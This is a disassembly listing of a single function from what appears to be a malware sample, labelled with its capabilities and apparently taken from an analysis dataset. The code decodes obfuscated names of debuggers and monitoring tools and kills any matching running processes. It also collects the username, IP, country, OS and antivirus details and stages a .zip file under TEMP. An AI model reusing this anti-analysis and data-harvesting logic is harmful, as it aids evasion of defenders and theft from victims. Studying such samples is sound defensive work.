Function at 0x43cf50
Capabilities:
Create process on windows
Enumerate processes
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65c660
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x680
mov eax, dword [0x6d6ec0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.65_99_116_105_118_97_116_111_114_46_101_120_101
lea ecx, [ebp - 0x34]
call fcn.00423c90
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x2b0]
call fcn.00421f10
lea ecx, [ebp - 0x34]
call fcn.00406410
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00447590
lea ecx, [ebp - 0x2b0]
mov esi, dword [eax]
lea eax, [ebp - 0x3c]
push eax
call fcn.00423c70
push ecx
push esi
lea ecx, [ebp - 0x70]
push dword [eax]
call fcn.00459b80
push eax
lea ecx, [ebp - 0x34]
call fcn.00405680
mov eax, ecx
push eax
push ecx
lea ecx, [ebp - 0x148]
call fcn.00409bf0
add esp, 4
lea ecx, [ebp - 0x66c]
mov edx, eax
call fcn.00406290
add esp, 4
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.004058d0
lea ecx, [ebp - 0x66c]
call fcn.00406410
lea ecx, [ebp - 0x148]
call fcn.00406410
lea ecx, [ebp - 0x34]
call fcn.00406410
lea ecx, [ebp - 0x70]
call fcn.00406410
lea edx, [ebp - 0x130]
call fcn.00438f80
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test al, al
je 0x43d0b3
push 0x40
lea eax, [ebp - 0x634]
mov dword [ebp - 0x638], 0x44
push 0
push eax
call fcn.00621d30
add esp, 0xc
lea eax, [ebp - 0x648]
lea ecx, [ebp - 0x130]
push eax
lea eax, [ebp - 0x638]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call fcn.00446c00
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x43d0b3
push dword [ebp - 0x648]
call esi
push dword [ebp - 0x644]
call esi
lea ecx, [ebp - 0x178]
call fcn.00422fd0
lea ecx, [ebp - 0x160]
call fcn.00423390
lea ecx, [ebp - 0x298]
call fcn.0042de10
lea edx, [ebp - 0x298]
lea ecx, [ebp - 0x1f0]
call fcn.0042e2b0
lea ecx, [ebp - 0x1d8]
call fcn.0042e350
lea ecx, [ebp - 0x280]
call fcn.0042e460
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x1c0]
call fcn.0042e2b0
lea ecx, [ebp - 0x190]
call fcn.00437ca0
cmp dword [ebp - 0x168], 0
jne 0x43d130
push str.Unknown
lea ecx, [ebp - 0x178]
call fcn.00447870
cmp dword [ebp - 0x150], 0
jne 0x43d149
push str.Unknown
lea ecx, [ebp - 0x160]
call fcn.00447870
cmp dword [ebp - 0x1c8], 0
jne 0x43d162
push str.Unknown
lea ecx, [ebp - 0x1d8]
call fcn.00447870
cmp dword [ebp - 0x1b0], 0
jne 0x43d17b
push str.Unknown
lea ecx, [ebp - 0x1c0]
call fcn.00447870
cmp dword [ebp - 0x1e0], 0
jne 0x43d194
push str.Unknown
lea ecx, [ebp - 0x1f0]
call fcn.00447870
lea eax, [ebp - 0x1f0]
push eax
push str._nAntivirus:
lea eax, [ebp - 0x1c0]
push eax
push str._nOS_Version:
lea eax, [ebp - 0x160]
push eax
push str._nCountry_Code:
lea eax, [ebp - 0x178]
push eax
push str._nIP_Address:
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x118]
push str.Username:
push eax
call fcn.00453440
add esp, 0xc
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.004519b0
add esp, 0xc
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00451ac0
add esp, 0xc
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.004519b0
add esp, 0xc
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00451ac0
add esp, 0xc
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.004519b0
add esp, 0xc
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00451ac0
add esp, 0xc
push eax
lea eax, [ebp - 0x66c]
push eax
call fcn.004519b0
add esp, 0xc
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00451ac0
add esp, 0xc
lea ecx, [ebp - 0x66c]
call fcn.004478d0
lea ecx, [ebp - 0x34]
call fcn.004478d0
lea ecx, [ebp - 0x148]
call fcn.004478d0
lea ecx, [ebp - 0x70]
call fcn.004478d0
lea ecx, [ebp - 0xb8]
call fcn.004478d0
lea ecx, [ebp - 0x58]
call fcn.004478d0
lea ecx, [ebp - 0xa0]
call fcn.004478d0
lea ecx, [ebp - 0x118]
call fcn.004478d0
xorps xmm0, xmm0
mov dword [ebp - 0x1a0], 0
push str.84_104_101_32_73_110_116_101_114_97_99_116_105_118_101_32_68_105_115_97_115_115_101_109_98_108_101_114
lea ecx, [ebp - 0x5f0]
movq qword [ebp - 0x1a8], xmm0
call fcn.00423c90
push str.120_54_52_100_98_103
lea ecx, [ebp - 0x5d8]
call fcn.00423c90
push str.80_114_111_99_101_115_115_32_72_97_99_107_101_114
lea ecx, [ebp - 0x5c0]
call fcn.00423c90
push str.87_105_114_101_115_104_97_114_107
lea ecx, [ebp - 0x5a8]
call fcn.00423c90
push str.100_110_83_112_121
lea ecx, [ebp - 0x590]
call fcn.00423c90
push str.68_101_116_101_99_116_32_73_116_32_69_97_115_121_40_68_105_69_41
lea ecx, [ebp - 0x578]
call fcn.00423c90
push str.69_120_69_105_110_102_111_32_80_69_32_45_32_87_105_110_51_50_32_101_120_101_32_105_100_101_110_116_105_102_105_101_114
lea ecx, [ebp - 0x560]
call fcn.00423c90
push str.77_97_108_119_97_114_101_32_73_110_105_116_105_97_108_32_65_115_115_101_115_115_109_101_110_116_32_124_32_119_119_119_46_119_105_110_105_116_111_114_46_99_111_109
lea ecx, [ebp - 0x548]
call fcn.00423c90
push str.67_111_109_109_111_110_32_70_105_108_101_32_70_111_114_109_97_116_32_69_120_112_108_111_114_101_114
lea ecx, [ebp - 0x530]
call fcn.00423c90
push str.72_120_68_32_72_101_120_32_69_100_105_116_111_114
lea ecx, [ebp - 0x518]
call fcn.00423c90
push str.74_97_118_97_40_84_77_41_32_80_108_97_116_102_111_114_109_32_83_69_32_98_105_110_97_114_121
lea ecx, [ebp - 0x500]
call fcn.00423c90
push str.66_105_110_97_114_121_32_78_105_110_106_97_32_52_46_48
lea ecx, [ebp - 0x4e8]
call fcn.00423c90
push str.83_121_115_105_110_116_101_114_110_97_108_115_32_80_114_111_99_101_115_115_32_69_120_112_108_111_114_101_114
lea ecx, [ebp - 0x4d0]
call fcn.00423c90
push str.80_114_111_99_101_115_115_32_77_111_110_105_116_111_114
lea ecx, [ebp - 0x4b8]
call fcn.00423c90
push str.83_121_115_105_110_116_101_114_110_97_108_115_32_84_99_112_86_105_101_119
lea ecx, [ebp - 0x4a0]
call fcn.00423c90
push str.83_121_115_116_101_109_32_97_99_116_105_118_105_116_121_32_109_111_110_105_116_111_114
lea ecx, [ebp - 0x488]
call fcn.00423c90
push str.65_117_116_111_115_116_97_114_116_32_112_114_111_103_114_97_109_32_118_105_101_119_101_114
lea ecx, [ebp - 0x470]
call fcn.00423c90
push str.80_121_116_104_111_110
lea ecx, [ebp - 0x458]
call fcn.00423c90
push str.87_105_110_100_111_119_115_32_80_111_119_101_114_83_104_101_108_108
lea ecx, [ebp - 0x440]
call fcn.00423c90
push str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_51_50_45_98_105_116
lea ecx, [ebp - 0x428]
call fcn.00423c90
push str.65_80_73_32_77_111_110_105_116_111_114_32_118_50_32_40_65_108_112_104_97_41_32_54_52_45_98_105_116
lea ecx, [ebp - 0x410]
call fcn.00423c90
push str.48_49_48_32_69_100_105_116_111_114_32_45_32_80_114_111_32_84_101_120_116_47_72_101_120_32_69_100_105_116_111_114
lea ecx, [ebp - 0x3f8]
call fcn.00423c90
push str.72_101_120_32_87_111_114_107_115_104_111_112
lea ecx, [ebp - 0x3e0]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_65_78_83_73
lea ecx, [ebp - 0x3c8]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_65_78_83_73
lea ecx, [ebp - 0x3b0]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_54_52_32_85_110_105_99_111_100_101
lea ecx, [ebp - 0x398]
call fcn.00423c90
push str.82_101_103_115_104_111_116_32_49_46_57_46_48_32_120_56_54_32_85_110_105_99_111_100_101
lea ecx, [ebp - 0x380]
call fcn.00423c90
lea ecx, [ebp - 0x5f0]
lea eax, [ebp - 0x368]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1a8]
call fcn.00435750
push fcn.00406410
push 0x1b
push 0x18
lea eax, [ebp - 0x5f0]
push eax
call fcn.0061f5a7
call fcn.0042dc30
test al, al
je 0x43d4a7
call fcn.0042dc30
call fcn.0042dcb0
test al, al
jne 0x43d4bf
call fcn.0042db50
mov esi, 1
jmp 0x43ed95
push ecx
push 0x6ee414
lea ecx, [ebp - 0x34]
call fcn.00451c60
lea ecx, [ebp - 0x34]
call fcn.004097a0
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x651], al
call fcn.00406410
cmp byte [ebp - 0x651], 0
jne 0x43d50a
push ecx
push 0x6ee414
lea ecx, [ebp - 0x34]
call fcn.00451c60
lea ecx, [ebp - 0x34]
call fcn.00409970
lea ecx, [ebp - 0x34]
call fcn.00406410
xorps xmm0, xmm0
mov dword [ebp - 0x194], 0
lea edx, [ebp - 0x1a8]
movq qword [ebp - 0x19c], xmm0
lea ecx, [ebp - 0x19c]
call fcn.0042ef20
lea ecx, [ebp - 0x19c]
call fcn.0042f080
mov eax, dword [0x6ee3ec]
mov edi, dword [0x6ee3e8]
mov dword [ebp - 0x18], eax
cmp edi, eax
je 0x43d67e
mov edx, edi
lea ecx, [ebp - 0x34]
call fcn.0042ed30
xor eax, eax
push eax
push 2
mov dword [ebp - 0x3c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x43d57a
push str.CreateToolhelp32Snapshot_failed
jmp 0x43d613
lea eax, [ebp - 0x598]
mov dword [ebp - 0x598], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x43d5b3
push str.Process32First_failed
push 0x6ed1a0
call fcn.00459060
push eax
call fcn.00459300
add esp, 0xc
jmp 0x43d631
cmp dword [ebp - 0x20], 7
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
push eax
lea eax, [ebp - 0x574]
push eax
call fcn.0062d0ae
add esp, 8
test eax, eax
je 0x43d5e6
lea eax, [ebp - 0x598]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43d5b3
jmp 0x43d5ef
mov eax, dword [ebp - 0x590]
mov dword [ebp - 0x3c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x43d638
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x43d628
push str.OpenProcess_failed
push 0x6ed1a0
call fcn.00459060
push eax
call fcn.00459300
add esp, 0xc
jmp 0x43d638
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43d672
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43d668
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
add edi, 0x18
cmp edi, dword [ebp - 0x18]
jne 0x43d551
call fcn.00423e50
call fcn.00425120
call fcn.00439120
call fcn.00424960
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.0042e880
call fcn.00431ee0
call fcn.00433df0
call fcn.004307a0
call fcn.004359f0
push str.TEMP
call fcn.00638cbc
mov edx, eax
mov dword [ebp - 0x138], 0
mov ecx, edx
mov dword [ebp - 0x134], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x148], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43d6e3
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x148]
call fcn.004113d0
mov ecx, dword [ebp - 0x138]
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 1
jb 0x43f166
cmp dword [ebp - 0x134], 0xf
lea eax, [ebp - 0x148]
push 1
cmova eax, dword [ebp - 0x148]
push 0x6a8b88
push ecx
push eax
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
call fcn.00467380
mov edx, dword [ebp - 0x20]
mov eax, edx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 1
jb 0x43d768
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmova eax, dword [ebp - 0x34]
mov word [eax + ecx], 0x5b
lea eax, [ebp - 0x34]
jmp 0x43d77c
push 1
push 0x6a68cc
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push 1
call fcn.0045eb00
mov dword [ebp - 0xf0], 0
lea ecx, [ebp - 0x160]
mov dword [ebp - 0xec], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x100], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x100], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xf0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x14c], 0xf
mov edx, dword [ebp - 0xf0]
cmova ecx, dword [ebp - 0x160]
mov eax, dword [ebp - 0xec]
mov edi, dword [ebp - 0x150]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x43d82e
cmp dword [ebp - 0xec], 0xf
lea esi, [ebp - 0x100]
lea eax, [edx + edi]
cmova esi, dword [ebp - 0x100]
mov dword [ebp - 0xf0], eax
lea eax, [esi + edx]
push eax
call fcn.006217b0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x100]
jmp 0x43d83d
push dword [ebp - 0x18]
lea ecx, [ebp - 0x100]
push edi
call fcn.0045eb00
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x44]
mov eax, edx
mov ecx, dword [ebp - 0x48]
sub eax, ecx
cmp eax, 1
jb 0x43d89e
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x58]
cmova eax, dword [ebp - 0x58]
mov word [eax + ecx], 0x5f
lea eax, [ebp - 0x58]
jmp 0x43d8b2
push 1
push 0x6ac348
push dword [ebp - 0x18]
lea ecx, [ebp - 0x58]
push 1
call fcn.0045eb00
mov dword [ebp - 0x640], 0
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x63c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x650], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x650], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x640], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x164], 0xf
mov edx, dword [ebp - 0x640]
cmova ecx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x63c]
mov edi, dword [ebp - 0x168]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x43d964
cmp dword [ebp - 0x63c], 0xf
lea esi, [ebp - 0x650]
lea eax, [edi + edx]
cmova esi, dword [ebp - 0x650]
mov dword [ebp - 0x640], eax
lea eax, [esi + edx]
push eax
call fcn.006217b0
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x650]
jmp 0x43d973
push dword [ebp - 0x18]
lea ecx, [ebp - 0x650]
push edi
call fcn.0045eb00
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x8c]
mov eax, edx
mov ecx, dword [ebp - 0x90]
sub eax, ecx
cmp eax, 1
jb 0x43d9f5
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0xa0]
cmova eax, dword [ebp - 0xa0]
mov word [eax + ecx], 0x5f
lea eax, [ebp - 0xa0]
jmp 0x43da0c
push 1
push 0x6ac348
push dword [ebp - 0x18]
lea ecx, [ebp - 0xa0]
push 1
call fcn.0045eb00
mov dword [ebp - 0x108], 0
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x104], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x118], xmm0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x118], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x108], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [ebp - 0x17c], 0xf
mov esi, dword [ebp - 0x104]
mov eax, esi
cmova ecx, dword [ebp - 0x190]
mov edi, dword [ebp - 0x180]
mov edx, dword [ebp - 0x108]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x43dab3
lea eax, [edx + edi]
cmp esi, 0xf
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x118]
cmova eax, dword [ebp - 0x118]
lea esi, [eax + edx]
push esi
call fcn.006217b0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x118]
jmp 0x43dac2
push dword [ebp - 0x18]
lea ecx, [ebp - 0x118]
push edi
call fcn.0045eb00
mov dword [ebp - 0xd8], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe8], xmm0
mov dword [ebp - 0xd4], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0xd4]
mov eax, edx
mov ecx, dword [ebp - 0xd8]
sub eax, ecx
cmp eax, 1
jb 0x43db44
lea eax, [ecx + 1]
cmp edx, 0xf
mov dword [ebp - 0xd8], eax
lea eax, [ebp - 0xe8]
cmova eax, dword [ebp - 0xe8]
mov word [eax + ecx], 0x5d
lea eax, [ebp - 0xe8]
jmp 0x43db5b
push 1
push 0x6a68c8
push dword [ebp - 0x18]
lea ecx, [ebp - 0xe8]
push 1
call fcn.0045eb00
mov dword [ebp - 0x78], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x88], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x78], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, 0xf
jbe 0x43dbd2
mov edx, dword [ebp - 0xe8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dbc8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0xf
mov byte [ebp - 0xe8], 0
cmp ecx, 0xf
jbe 0x43dc27
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dc1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0xf
jbe 0x43dc7c
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dc72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x63c]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0xf
jbe 0x43dcd1
mov edx, dword [ebp - 0x650]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dcc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 0xf
mov byte [ebp - 0x650], 0
cmp ecx, 0xf
jbe 0x43dd20
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0xf
jbe 0x43dd6c
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd62
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
cmp ecx, 0xf
jbe 0x43ddbb
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ddb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f16b
push ecx
push edx
call fcn.0061f90d
add esp, 8
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmova eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d79c0
lea ecx, [ebp - 0x34]
call fcn.00409710
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43f170
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43de4b
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43de3b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f181
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43de6f
push ecx
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x34]
call fcn.0045a720
lea ecx, [ebp - 0x34]
call fcn.00409b70
lea ecx, [ebp - 0x34]
call fcn.00406410
cmp dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0x88]
mov eax, dword [ebp - 0x78]
cmova ecx, dword [ebp - 0x88]
add eax, ecx
cmp dword [ebp - 0x74], 0xf
lea ecx, [ebp - 0x88]
cmova ecx, dword [ebp - 0x88]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x66c]
call fcn.00459b80
xorps xmm0, xmm0
mov dword [ebp - 0xa8], 0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa4], 0
xor ecx, ecx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xa8], xmm0
xorps xmm0, xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov eax, 0x6ee414
cmp dword [0x6ee428], 7
push dword [0x6ee424]
cmova eax, dword [0x6ee414]
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x5c], ecx
lea ecx, [ebp - 0x70]
push eax
movups xmmword [ebp - 0x70], xmm0
call fcn.00423ce0
cmp dword [ebp - 0xa4], 7
lea ecx, [ebp - 0xb8]
lea eax, [ebp - 0x70]
cmova ecx, dword [ebp - 0xb8]
cmp dword [ebp - 0x5c], 7
push ecx
cmova eax, dword [ebp - 0x70]
push eax
call fcn.0060bd33
test eax, eax
jne 0x43f186
mov ecx, dword [ebp - 0x5c]
cmp ecx, 7
jbe 0x43df83
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43df79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f19d
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0xa4]
xor eax, eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 7
mov word [ebp - 0x70], ax
cmp ecx, 7
jbe 0x43dfd7
mov edx, dword [ebp - 0xb8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43dfcd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f19d
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x658]
xor eax, eax
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xa4], 7
mov word [ebp - 0xb8], ax
cmp ecx, 7
jbe 0x43e034
mov edx, dword [ebp - 0x66c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e02a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f19d
push ecx
push edx
call fcn.0061f90d
add esp, 8
mov ecx, dword [ebp - 0x78]
mov eax, SysReAllocString
sub eax, ecx
cmp eax, 4
jb 0x43f1a2
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push 4
cmova eax, dword [ebp - 0x88]
push str..zip
push ecx
push eax
lea eax, [ebp - 0x88]
push eax
push dword [ebp - 0x18]
lea ecx, [ebp - 0xd0]
call fcn.00467380
cmp dword [ebp - 0xbc], 0xf
lea eax, [ebp - 0xd0]
push dword [ebp - 0xc0]
cmova eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0xc
mov dword [ebp - 0x1c], 0
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x6d79c0
lea ecx, [ebp - 0x34]
call fcn.00409710
cmp dword [ebp - 0x1c], 0
mov byte [ebp - 0x651], al
jne 0x43f1a7
mov ecx, dword [ebp - 0x20]
cmp ecx, 7
jbe 0x43e10c
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x43e0fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43f1b8
push ecx
push edx
call fcn.0061f90d
mov al, byte [ebp - 0x651]
add esp, 8
test al, al
je 0x43e139
push ecx
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x66c]
call fcn.0045a720
lea ecx, [ebp - 0x66c]
call fcn.00409940
lea ecx, [ebp - 0x66c]
call fcn.00406410
lea edx, [ebp - 0x88]
lea ecx, [ebp - 0xd0]
call fcn.004387f0
cmp dword [ebp - 0x74], 0xf
lea eax, [ebp - 0x88]
push dword [ebp - 0x78]
cmova eax, dword [ebp - 0x88]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 0x18], 0
push dword [ebp - 0x18]
call fcn.0047e030
add esp, 0xc
lea eax, [ebp - 0x34]
